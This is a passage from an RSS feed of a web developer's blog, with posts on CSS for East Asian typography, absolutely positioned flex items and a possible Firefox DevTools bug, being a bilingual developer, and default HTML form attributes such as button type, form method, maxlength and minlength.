&lt;p&gt;And the mappings for sizing are as follows: &lt;code&gt;width&lt;/code&gt; to &lt;code&gt;inline-size&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; to &lt;code&gt;block-size&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Lists and counters&lt;/h3&gt;
&lt;p&gt;Numeral systems are writing systems for expressing numbers, and even though the most commonly used system of numerals is the Hindu-Arabic numeral system (0, 1, 2, 3 and so on), CSS allows us to display ordered lists with other numeral systems as well.&lt;/p&gt;
&lt;p&gt;Predefined counter styles can be used with the &lt;code&gt;list-style-type&lt;/code&gt; property, which covers 174 numeral systems from &lt;code&gt;afar&lt;/code&gt; to &lt;code&gt;urdu&lt;/code&gt;. You can check out the full list at &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/list-style-type&quot;&gt;MDN&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you&apos;re interested in CSS counters, I &lt;a href=&quot;/blog/the-wondrous-world-of-css-counters&quot;&gt;wrote about them&lt;/a&gt; some time last year where I explore the “Heavenly-stem” and “Earthly-branch” numeral system used in traditional Chinese contexts (as well as a fizzbuzz implementation in CSS because why not).&lt;/p&gt;
&lt;h3&gt;Text decoration&lt;/h3&gt;
&lt;p&gt;As mentioned earlier, East Asian languages do not have the concept of italics. Instead, we have emphasis dots. They can be placed above or beneath characters to emphasise the text, strengthen the tone of voice or avoid ambiguity.&lt;/p&gt;
&lt;p&gt;When Chinese is written in horizontal writing mode, these dots are placed underneath the characters, and when written in vertical writing mode, these dots are placed to the right of the characters.&lt;/p&gt;
&lt;div lang=&quot;zh&quot; style=&quot;margin-bottom:1em&quot;&gt;中文的&lt;em&gt;着重号&lt;/em&gt;横排多在下方（底端）。&lt;/div&gt;
&lt;p&gt;Japanese, on the other hand, places emphasis dots above the characters in horizontal writing mode. In order to make the CSS property more generalised, &lt;code&gt;text-emphasis-style&lt;/code&gt;, &lt;code&gt;text-emphasis-position&lt;/code&gt; and &lt;code&gt;text-emphasis-color&lt;/code&gt; were introduced in &lt;a href=&quot;https://drafts.csswg.org/css-text-decor-3/#emphasis-marks&quot;&gt;CSS Text Decoration Module Level 3&lt;/a&gt;.&lt;/p&gt;
&lt;div lang=&quot;ja&quot; style=&quot;margin-bottom:1em&quot;&gt;&lt;em&gt;圏点&lt;/em&gt;の位置は，横組では親文字の上側とし。&lt;/div&gt;
&lt;style&gt;em:lang(ja) {
  font-style: normal;
  -webkit-text-emphasis: dot;
  text-emphasis: dot;
  -webkit-text-emphasis-position: over right;
  text-emphasis-position: over right;
}&lt;/style&gt;
&lt;p&gt;You can use different symbols other than dots, like &lt;code&gt;circle&lt;/code&gt;, &lt;code&gt;triangle&lt;/code&gt; or even a single character as a string. Position and colour can also be tweaked with their respective properties.&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;tec&quot;&gt;Colo&lt;/span&gt;urs? Random &lt;span class=&quot;te&quot;&gt;sha&lt;/span&gt;pes? Sure, why not?&lt;/p&gt;
&lt;style&gt;.tec {
  -webkit-text-emphasis: dot;
  text-emphasis: dot;
  -webkit-text-emphasis-color: gold;
  text-emphasis-color: gold;
}
.te {
  -webkit-text-emphasis: triangle;
  text-emphasis: triangle;
}&lt;/style&gt;
&lt;p&gt;Line decoration is also covered in the same specification, and provides developers more granular control of underlines and overlines (in level 4 of the spec). But this is especially useful for scripts that have ascenders or descenders that regularly spill over the baseline.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;text-decoration-skip&lt;/code&gt; is covered in &lt;a href=&quot;https://drafts.csswg.org/css-text-decor-4/#text-decoration-skipping&quot;&gt;CSS Text Decoration Module Level 4&lt;/a&gt;, which controls how overlines and underlines are drawn when they cross over a glyph. Again, something that happens less frequently for languages like English, but greatly affect aesthetics for scripts like Burmese, for example.&lt;/p&gt;
&lt;h3&gt;Font variations&lt;/h3&gt;
&lt;p&gt;There are two categories of CSS properties for accessing OpenType features, high-level properties and low-level properties. The specification recommends use of high-level properties whenever possible. This is mostly predicated on browser support.&lt;/p&gt;
&lt;p&gt;For example, &lt;code&gt;font-variant-east-asian&lt;/code&gt; allow for control over glyph forms for characters that have variants, like Simplified Chinese glyphs versus Traditional Chinese glyphs. It is the same character, but they can be written differently.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Real fun to do live&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/font-variant-ea.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/font-variant-ea.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;There is also &lt;code&gt;font-variant-ligatures&lt;/code&gt; which provide numerous pre-defined options for ligatures and contextual forms, like &lt;code&gt;discretionary-ligatures&lt;/code&gt; or &lt;code&gt;historical-ligatures&lt;/code&gt; or &lt;code&gt;contextual&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The low-level properties are accessed via &lt;code&gt;font-feature-settings&lt;/code&gt; where you would use the 4-letter OpenType tags to toggle the features you want (this does depend on whether your font has those features to begin with, but let&apos;s assume it does).&lt;/p&gt;
&lt;p&gt;There are 141 feature tags from &lt;em&gt;Alternative Fractions&lt;/em&gt; to &lt;em&gt;Justification Alternates&lt;/em&gt; to &lt;em&gt;Ruby Notation Forms&lt;/em&gt; to &lt;em&gt;Slashed Zero&lt;/em&gt;. These CSS properties are closely related to features within the font file itself, so there is that external dependency that lies upon your choice of font. Something to keep in mind.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This post got really long, so I&apos;ll have a second part where I go into more specifics on how we could build up a layout using the selectors we covered to make sure our layout is robust even if the language changes. Modern layout properties like Flexbox and Grid are well suited for use cases like this.&lt;/p&gt;
&lt;p&gt;One of the things I find most interesting about CSS is how we can combine them in different ways to achieve a myriad of outcomes, and with more than 500 CSS properties in existence, that&apos;s a lot of possibilities. I&apos;m not saying anything goes, because often, there are numerous ways to reach the same result, and some ways are more appropriate than others.&lt;/p&gt;
&lt;p&gt;However, it is up to us to make an informed decision regarding which is the most appropriate method to use for our context, by understanding the mechanics behind each technique, its pros and cons, and being aware of why we chose to do things a certain way.&lt;/p&gt;
&lt;p&gt;I still believe, that after more than three decades, the web is still an informational medium, where content is key. Hence, the presentation of that content should be optimised regardless of what language or script it is in. And I&apos;m glad that CSS is continually developing to provide developers a means to do just that.&lt;/p&gt;
&lt;p&gt;Anyway, stay tuned for part 2.&lt;/p&gt;
&lt;p&gt;Coming…&lt;/p&gt;
&lt;p&gt;Eventually.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/International/&quot;&gt;W3C Internationalization (i18n)&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/International/techniques/authoring-html&quot;&gt;Internationalization techniques: Authoring HTML &amp;amp; CSS&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.paciellogroup.com/blog/2016/06/using-the-html-lang-attribute/&quot;&gt;Using the HTML lang attribute&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/International/questions/qa-css-lang&quot;&gt;Styling using language attributes&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/International/questions/qa-i18n.en&quot;&gt;Localization vs. Internationalization&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://fantasai.inkedblade.net/style/discuss/vertical-text/paper&quot;&gt;Using the Unicode BIDI Algorithm to Handle Complexities in Typesetting Multi-Script Vertical Text&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.typotheque.com/articles/opentype_features_in_css&quot;&gt;OpenType features in CSS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Flexbox and absolute positioning</title><link>https://chenhuijing.com/blog/flexbox-and-absolute-positioning/</link><guid isPermaLink="true">https://chenhuijing.com/blog/flexbox-and-absolute-positioning/</guid><description>Recently, I&apos;ve been trying to build an open source video conferencing application specifically for online meetups. Just like every other developer on the…</description><pubDate>Fri, 13 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently, I&apos;ve been trying to build an open source video conferencing application specifically for online meetups. Just like every other developer on the planet, it seems. Video conferencing apps are the new chatbots. Maybe.&lt;/p&gt;
&lt;p&gt;This was also a good reason for me to get to know &lt;a href=&quot;https://tokbox.com/developer/guides/basics/&quot;&gt;OpenTok&lt;/a&gt; better, as I had previously not had a use-case to build for. I&apos;ll probably write up the whole process into a lengthy multi-part tutorial style post thingy when I actually get it into a reasonable MVP shape.&lt;/p&gt;
&lt;p&gt;But this mini-post is about Flexbox and absolute positioning, and a minor bug (at least I think it is so I filed one) in the Firefox DevTools.&lt;/p&gt;
&lt;h2&gt;What happens when you &lt;code&gt;position: absolute&lt;/code&gt; a flex item?&lt;/h2&gt;
&lt;p&gt;I can&apos;t have been the only person to have tried this, right? Although for me, this was the first time I actually used such a combination even though I had read about it when I was combing through the &lt;a href=&quot;https://www.w3.org/TR/css-flexbox-1/&quot;&gt;Flexbox specification&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Which is why I knew there was a section detailing it, &lt;a href=&quot;https://www.w3.org/TR/css-flexbox-1/#abspos-items&quot;&gt;4.1. Absolutely-Positioned Flex Children&lt;/a&gt;. I did &lt;strong&gt;not&lt;/strong&gt; memorise the specification, I just knew such a section existed, okay?&lt;/p&gt;
&lt;p&gt;Let me lift out the key points that I find most pertinent:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;…an absolutely-positioned child of a flex container does not participate in flex layout.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;however:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The static position of an absolutely-positioned child of a flex container is determined such that the child is positioned as if it were the sole flex item in the flex container, assuming both the child and the flex container were fixed-size boxes of their used size.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;which means that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;…if you set, for example, &lt;code&gt;align-self: center;&lt;/code&gt; on an absolutely-positioned child of a flex container, auto offsets on the child will center it in the flex container’s cross axis.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let&apos;s break that down. The first part is fairly straight-forward. If you position a flex item absolutely, it no longer participates in the flex layout. This means any flex properties on the item become moot. You can remove them if you like.&lt;/p&gt;
&lt;p&gt;The next part explains that the absolutely positioned item behaves like it is the sole flex item in the flex container. So distil your mental model down to:&lt;/p&gt;
&lt;img style=&quot;max-width:15em&quot; src=&quot;/images/posts/flexbox-absolute/mental-model.svg&quot; alt=&quot;Diagram of absolutely positioned flex item&quot;&gt;
&lt;p&gt;The box alignment properties still apply to the flex item even if it is absolutely positioned, which means using &lt;code&gt;align-self&lt;/code&gt; will have an effect. Details of how &lt;code&gt;normal&lt;/code&gt; behaviour works in this case can be found in &lt;a href=&quot;https://www.w3.org/TR/css-align-3/#propdef-align-self&quot;&gt;the relevant section&lt;/a&gt; of CSS Box Alignment Module Level 3.&lt;/p&gt;
&lt;p&gt;Additional information I won&apos;t go into: &lt;a href=&quot;https://www.w3.org/TR/css-position-3/#size-and-position-details&quot;&gt;8. Sizing and positioning details&lt;/a&gt; which details how absolutely positioned elements are &lt;em&gt;sized&lt;/em&gt;. (Maybe this might be a blog post in future)&lt;/p&gt;
&lt;h2&gt;The maybe bug in DevTools&lt;/h2&gt;
&lt;p&gt;Firefox DevTools has a feature that informs you why certain CSS is inactive. It&apos;s pretty cool and I lean on it for layout related properties when I build stuff. However, it says that the &lt;code&gt;align-self&lt;/code&gt; property is not active because the absolutely-positioned item is not a flex item.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;I don&apos;t really agree with this though…&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/flexbox-absolute/inactive-480.jpg 480w, /images/posts/flexbox-absolute/inactive-640.jpg 640w, /images/posts/flexbox-absolute/inactive-960.jpg 960w, /images/posts/flexbox-absolute/inactive-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/flexbox-absolute/inactive-640.jpg&quot; alt=&quot;Firefox says the rule doesn&apos;t apply&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;But it does have an effect. And the browser itself is behaving as expected. So I guess this is a DevTools bug? I&apos;m not sure, so I &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1622176&quot;&gt;filed a bug&lt;/a&gt; and am hoping someone will triage it.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Browser works perfectly&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/abs-flex.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/abs-flex.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;h2&gt;TLDR on why I absoluted a flex item&lt;/h2&gt;
&lt;p&gt;For now, the way my application works, all video streams go into a single parent container. I want to have the ability to focus on a single stream and make that the large size display (common UI pattern in most video conferencing clients).&lt;/p&gt;
&lt;p&gt;That happens when a &lt;code&gt;.focused&lt;/code&gt; CSS class is added to the selected stream element container, but because all the streams are on the same level, this is a sort of hacky way to get that effect. We shall see if I can modify the mark-up but as of now, I don&apos;t know how.&lt;/p&gt;
&lt;p&gt;Anyway, the project I&apos;m working on is &lt;a href=&quot;https://github.com/huijing/sgtechonline&quot;&gt;on GitHub&lt;/a&gt;, if anyone is remotely interested.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/flexbox-absolute/sgtechonline-480.jpg 480w, /images/posts/flexbox-absolute/sgtechonline-640.jpg 640w, /images/posts/flexbox-absolute/sgtechonline-960.jpg 960w, /images/posts/flexbox-absolute/sgtechonline-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/flexbox-absolute/sgtechonline-640.jpg&quot; alt=&quot;Screenshot of SGTechOnline&quot;&gt;
&lt;p&gt;It&apos;s slow going and very WIP, and if you think it &lt;em&gt;looks&lt;/em&gt; decent, that&apos;s because I run away from my harder problems and work on layout instead. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Being a bilingual developer</title><link>https://chenhuijing.com/blog/being-a-bilingual-developer/</link><guid isPermaLink="true">https://chenhuijing.com/blog/being-a-bilingual-developer/</guid><description>It&apos;s been a while since I wrote a pure opinion post. If this is your first encounter with me, let&apos;s just say I am a relatively opinionated person. The…</description><pubDate>Wed, 26 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It&apos;s been a while since I wrote a pure opinion post. If this is your first encounter with me, let&apos;s just say I am a relatively opinionated person. The “Opinion” tag is third on the most-used list of tags on my site (behind “CSS” and “Design”). So today&apos;s opinion is about language.&lt;/p&gt;
&lt;p&gt;In theory, I am bilingual, fluent in both English and Chinese. In reality, English is my working language. I write emails, blog posts, documentation, talks, content and so on in English 95% of the time. Working language (especially in tech) and daily use language is really quite different IMO.&lt;/p&gt;
&lt;h2&gt;Some background on my background&lt;/h2&gt;
&lt;p&gt;So I grew up straddling the border of Malaysia and Singapore, living in Malaysia while studying in Singapore. Singapore uses English as its medium of education, with students&apos; mother tongues being taught as a single language subject.&lt;/p&gt;
&lt;img src=&quot;/images/posts/bilingual/commute.png&quot; srcset=&quot;/images/posts/bilingual/commute@2x.png 2x&quot; alt=&quot;Illustration of commuting&quot;&gt;
&lt;p&gt;Being Malaysian Chinese though, I conversed mostly in Chinese with my Chinese friends but all of us, regardless of ethnicity, slipped in and out of our mother tongues and English without skipping a beat. It was mostly a mixture of English, Chinese, Malay, plus a smattering of dialects.&lt;/p&gt;
&lt;p&gt;We can then skip forward about a decade later when I started getting interested in East Asian typography. That was around 2016, when I learned about the HTML Ruby element, then vertical writing modes in CSS.&lt;/p&gt;
&lt;p&gt;One thing led to another and soon I was down a rabbit hole of Unicode specifications, W3C documentation and research into the digitisation of Chinese publishing.&lt;/p&gt;
&lt;p&gt;I got in touch with the &lt;a href=&quot;https://w3c.github.io/clreq/homepage/&quot;&gt;Chinese Layout Task Force&lt;/a&gt; and volunteered to help out with some outstanding translations from Chinese to English, because the &lt;a href=&quot;https://w3c.github.io/clreq/&quot;&gt;Requirements for Chinese Text Layout&lt;/a&gt; document was to be written in Simplified Chinese, Traditional Chinese as well as English.&lt;/p&gt;
&lt;p&gt;Most of the content was first written in Chinese, and at the time, some of it hadn&apos;t been translated to English yet. Translating Chinese to English was fairly easy for me because English was my main working language.&lt;/p&gt;
&lt;img src=&quot;/images/posts/bilingual/translate.png&quot; srcset=&quot;/images/posts/bilingual/translate@2x.png 2x&quot; alt=&quot;Illustration of volunteering to do translation&quot;&gt;
&lt;p&gt;Our calls were in Chinese though, and I gradually improved my Chinese vocabulary, which had stagnated since I left school (there&apos;s only so much variety in daily conversation, much of it mundane).&lt;/p&gt;
&lt;p&gt;I had started reading more typography articles written in Chinese as well, but still didn&apos;t feel I was good enough to write original Chinese content.&lt;/p&gt;
&lt;h2&gt;The turning point&lt;/h2&gt;
&lt;p&gt;In 2019, I was invited to speak at CSSConf China, and chose to give my talk in Chinese. Because it seemed like a good idea at the time. Also, it was like a bucket list kind of thing, you know. “Give talk at conference in mother tongue.” &lt;em&gt;*check&lt;/em&gt;*&lt;/p&gt;
&lt;p&gt;Thankfully, the fates gifted me the opportunity to cross paths with &lt;a href=&quot;https://wgea.io/&quot;&gt;Wei&lt;/a&gt; over a month before the conference date. And she pretty much edited out all the weird sentence structures I had in my script.&lt;/p&gt;
&lt;p&gt;The talk went reasonably well. I personally think the audience had lower expectations of my standard of Chinese given I wasn&apos;t local (dis is a good thing), and was maybe pleasantly surprised I kind of sounded local.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
Southeast Asian Chinese are almost entirely migrants from Southern China, the conference was in Shenzhen. A small plus was that I could speak Hokkien and a bit of Cantonese, which are dialects used in Southern China.
&lt;/div&gt;
&lt;p&gt;By then I had also joined Nexmo as their APAC developer advocate, and having no prior experience in DevRel (hey, I never complain about lucky breaks), my strategy the first year was to throw everything at the wall and see if anything sticks. At the same time hoping the wall doesn&apos;t fall over.&lt;/p&gt;
&lt;p&gt;One of those ideas was to have localised content, so I started attempting to write Chinese content. That was REALLY slow going. It took me probably 3 times longer than if I would have wrote the same thing in English, but hey, the only way to get better at something is to do it, no?&lt;/p&gt;
&lt;h2&gt;Some random thoughts and insights&lt;/h2&gt;
&lt;p&gt;CSSConf China was the first non-English conference I had attended and the speakers were amazing. It is hard to put into words but the feeling was different from other conferences I&apos;d attended before. I don&apos;t know if it was because I had to parse the words I heard differently because it was a different language.&lt;/p&gt;
&lt;p&gt;What was indisputable was how each speaker had such a distinctly different style and personality that shone through on that stage. I feel that Chinese is a much richer language than English and perhaps that&apos;s why it felt more memorable to me.&lt;/p&gt;
&lt;p&gt;Of course, I am biased here. So reminder to all that this is an Opinion, and you are free to have yours and disagree with mine. However, medium of delivery aside, I also learned about how &lt;em&gt;different&lt;/em&gt; developers operated in China, as well as how &lt;em&gt;similarly&lt;/em&gt; they did things.&lt;/p&gt;
&lt;p&gt;Which made me wonder, how much perspective is hidden away from each and every one of us because things lose meaning in translation and certain concepts just don&apos;t come through if you do not speak the language. I say this as a musing, because I have no solution.&lt;/p&gt;
&lt;p&gt;But there is a treasure trove of content written by Chinese developers that I only discovered after my experience at CSSConf China. Which made me think, what about all the other languages the world&apos;s developers share content in?&lt;/p&gt;
&lt;p&gt;Some of you may say, learn more languages then? Easier said than done, my friends. Personally, if I hadn&apos;t grown up Chinese, I doubt I&apos;d be able to pick it up later in life, it just feels hard as a second language (but maybe that&apos;s the same for every language and I&apos;m just shit at languages).&lt;/p&gt;
&lt;p&gt;I once asked a couple friends of mine who spoke multiple languages what language their thoughts were in. For me, it&apos;s both in about equal measure. One mentioned she thinks in English but counts in French. Then I also discovered not everyone has a running monologue in their head &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;A friend asked me once if I had inner monologues in English or Chinese, and the question surprised me because I thought people just form abstract thoughts like I do and convert it into speech only when it needs to vocalised to someone else or written.&lt;/p&gt;&amp;mdash; Shi Ling (@taishiling) &lt;a href=&quot;https://twitter.com/taishiling/status/1223856099087933440?ref_src=twsrc%5Etfw&quot;&gt;February 2, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;h2&gt;So what&apos;s your point?&lt;/h2&gt;
&lt;p&gt;I actually don&apos;t really have one, so maybe this wasn&apos;t an opinion as much as it was a bunch of random musings. The only analogy I can come up with is that each and every one of us has a unique yet constantly evolving algorithm for processing the inputs we encounter in our lives.&lt;/p&gt;
&lt;img src=&quot;/images/posts/bilingual/processing.png&quot; srcset=&quot;/images/posts/bilingual/processing@2x.png 2x&quot; alt=&quot;Illustration of processing external inputs&quot;&gt;
&lt;p&gt;The exact same inputs will be processed completely differently by two different people, hence the output will probably never be the same unless via chance coincidence. They could be &lt;strong&gt;similar&lt;/strong&gt; or &lt;strong&gt;close enough&lt;/strong&gt; for people to develop some sort of connection, and I think that&apos;s probably the best we can do.&lt;/p&gt;
&lt;p&gt;Does that mean someone with a vastly different output is wrong? I don&apos;t think so. Our processing algorithms are an amalgamation of our personalities, our environments and our life experiences. To me, language, which is closely intertwined with culture, has a large influence on the latter two vectors.&lt;/p&gt;
&lt;p&gt;Maybe my opinion is this. Being able to be fluent in multiple languages not only benefits from a communication standpoint, but also allows us to have broader world views because language literally impacts &lt;strong&gt;how&lt;/strong&gt; we think about things.&lt;/p&gt;
&lt;p&gt;Anyway, I feel really lucky to have grown up in an environment that allowed me to be fluent in two languages. That is all.&lt;/p&gt;
</content:encoded></item><item><title>On attributes for HTML form elements</title><link>https://chenhuijing.com/blog/on-attributes-for-html-form-elements/</link><guid isPermaLink="true">https://chenhuijing.com/blog/on-attributes-for-html-form-elements/</guid><description>I often come across tutorials about building forms on the web. In spite of all the newfangled techniques and frameworks we now have to perform actions on web…</description><pubDate>Sat, 01 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I often come across tutorials about building forms on the web. In spite of all the newfangled techniques and frameworks we now have to perform actions on web pages, the trusty old HTML form still has its place.&lt;/p&gt;
&lt;p&gt;There is an article published by &lt;a href=&quot;https://hugogiraudel.com/&quot;&gt;Hugo Giraudel&lt;/a&gt; on &lt;a href=&quot;https://hugogiraudel.com/2020/01/21/apollo-graphql-without-javascript/&quot;&gt;Apollo GraphQL without JavaScript&lt;/a&gt; where they describe how the GraphQL-powered N26 web platform can still work when JavaScript is not available.&lt;/p&gt;
&lt;p&gt;Hint, it involves HTML forms.&lt;/p&gt;
&lt;p&gt;Which led me to wonder how many people really know about the different attributes that come baked in with HTML form elements. For example, the &lt;code&gt;type&lt;/code&gt; attribute.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;I wonder… about many things…&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/html-attributes/thinking.jpg&quot; srcset=&quot;/images/posts/html-attributes/thinking@2x.jpg 2x&quot; alt=&quot;A thinking cat&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Hang on, I can almost hear some of you saying, of course you know about them, you just typed &lt;code&gt;&amp;lt;input type=&amp;quot;text&amp;quot;&amp;gt;&lt;/code&gt; for the millionth time yesterday.&lt;/p&gt;
&lt;p&gt;And being the annoying person that I am, I&apos;m very tempted to reply, well actually… the default &lt;code&gt;type&lt;/code&gt; attribute for &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; &lt;strong&gt;is&lt;/strong&gt; &lt;code&gt;text&lt;/code&gt; and it would still work and validate even if you didn&apos;t include it.&lt;/p&gt;
&lt;p&gt;Yes, my friends, some HTML attributes have &lt;em&gt;default&lt;/em&gt; values (as does all CSS, FYI).&lt;/p&gt;
&lt;p&gt;There is no harm in including &lt;code&gt;type=&amp;quot;text&amp;quot;&lt;/code&gt;, and some people might even prefer to have it there, for reasons, and that&apos;s fine.&lt;/p&gt;
&lt;p&gt;This is just a gentle reminder in a world where people seem to be searching for all manner of ways and means to shave bytes, that default values don&apos;t really have to be there.&lt;/p&gt;
&lt;p&gt;Same goes for the &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; element. The default type is &lt;code&gt;submit&lt;/code&gt;, which means if you had a vanilla HTML form like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;form action=&amp;quot;/login&amp;quot;&amp;gt;
  &amp;lt;label for=&amp;quot;username&amp;quot;&amp;gt;Username&amp;lt;/label&amp;gt;
  &amp;lt;input name=&amp;quot;username&amp;quot; id=&amp;quot;username&amp;quot; /&amp;gt;

  &amp;lt;label for=&amp;quot;password&amp;quot;&amp;gt;Password&amp;lt;/label&amp;gt;
  &amp;lt;input name=&amp;quot;password&amp;quot; type=&amp;quot;password&amp;quot; /&amp;gt;

  &amp;lt;button&amp;gt;Login&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And you clicked the button, or pressed the Enter key, your form would submit to &lt;em&gt;/login&lt;/em&gt;. Guess what? The &lt;code&gt;method&lt;/code&gt; attribute on &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; elements also has a default value, which is &lt;code&gt;GET&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Please don&apos;t submit any sensitive information, like a password via the form&apos;s &lt;code&gt;GET&lt;/code&gt; method because it becomes &lt;strong&gt;visible&lt;/strong&gt; in the URL. Go ahead, throw the above form into a blank HTML file and try it. Using &lt;code&gt;POST&lt;/code&gt; will send the form data in the body of the HTTP request.&lt;/p&gt;
&lt;p&gt;So if you wanted a button to do things other than submit a form, you can always use &lt;code&gt;&amp;lt;button type=&amp;quot;button&amp;quot;&amp;gt;&lt;/code&gt;, which gives you a clickable button that does… nothing. So you can attach whatever event listeners you like to it and make it trigger whatever you want.&lt;/p&gt;
&lt;p&gt;I&apos;ve come across tutorials for frameworks that were great at explaining the framework bit of things, but had shockingly nested &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; soups for markup. Or utilised JavaScript to write functionalities that could have been achieved with attributes instead.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;My shocked face…or close enough&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/html-attributes/shocked.jpg&quot; srcset=&quot;/images/posts/html-attributes/shocked@2x.jpg 2x&quot; alt=&quot;A shocked cat&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Say you want to have a character limit on your comments, which are input via a &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;. You can use the &lt;code&gt;maxlength&lt;/code&gt; attribute. The browser will prevent any further input past the specified character length.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;textarea maxlength=&amp;quot;140&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;textarea style=&quot;margin-bottom:1rem;padding:0.5em&quot; maxlength=&quot;50&quot; placeholder=&quot;maxlength set to 50&quot;&gt;&lt;/textarea&gt;
&lt;p&gt;Or if you&apos;d like your users to input comments that are longer than just a smiley face. You can use the &lt;code&gt;minlength&lt;/code&gt; attribute. Depending on the browser you&apos;re using, it is a slightly different user experience but try submitting the form with less than 10 characters.&lt;/p&gt;
&lt;form action=&quot;javascript:void(0)&quot; style=&quot;margin-bottom:1rem&quot;&gt;
  &lt;textarea style=&quot;padding:0.5em&quot; minlength=&quot;10&quot; placeholder=&quot;minlength set to 10&quot;&gt;&lt;/textarea&gt;
  &lt;button style=&quot;font-size:inherit&quot;&gt;Fake submit&lt;/button&gt;
&lt;/form&gt;
&lt;p&gt;This is not a rant at the state of the web today (okay, maybe just a little bit). Rather, I want this to be an &lt;em&gt;invitation&lt;/em&gt; to explore and discover which of these many wonderful attributes are most useful to you.&lt;/p&gt;
&lt;p&gt;Then use them.&lt;/p&gt;
&lt;p&gt;They are fully compatible with the framework of your choice.&lt;/p&gt;
&lt;p&gt;Especially to all who are either hearing of these attributes for the first time, or never got around to using them.&lt;/p&gt;
&lt;p&gt;So, at the risk of sounding like some grumpy old person yelling “get off my lawn” at the cool kids, I just want to end off with a quote from one of my esteemed seniors from a previous company.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The best code is the code not written.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cheers, my friends. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;tumbler glass&quot;&gt;🥃&lt;/span&gt;&lt;/p&gt;
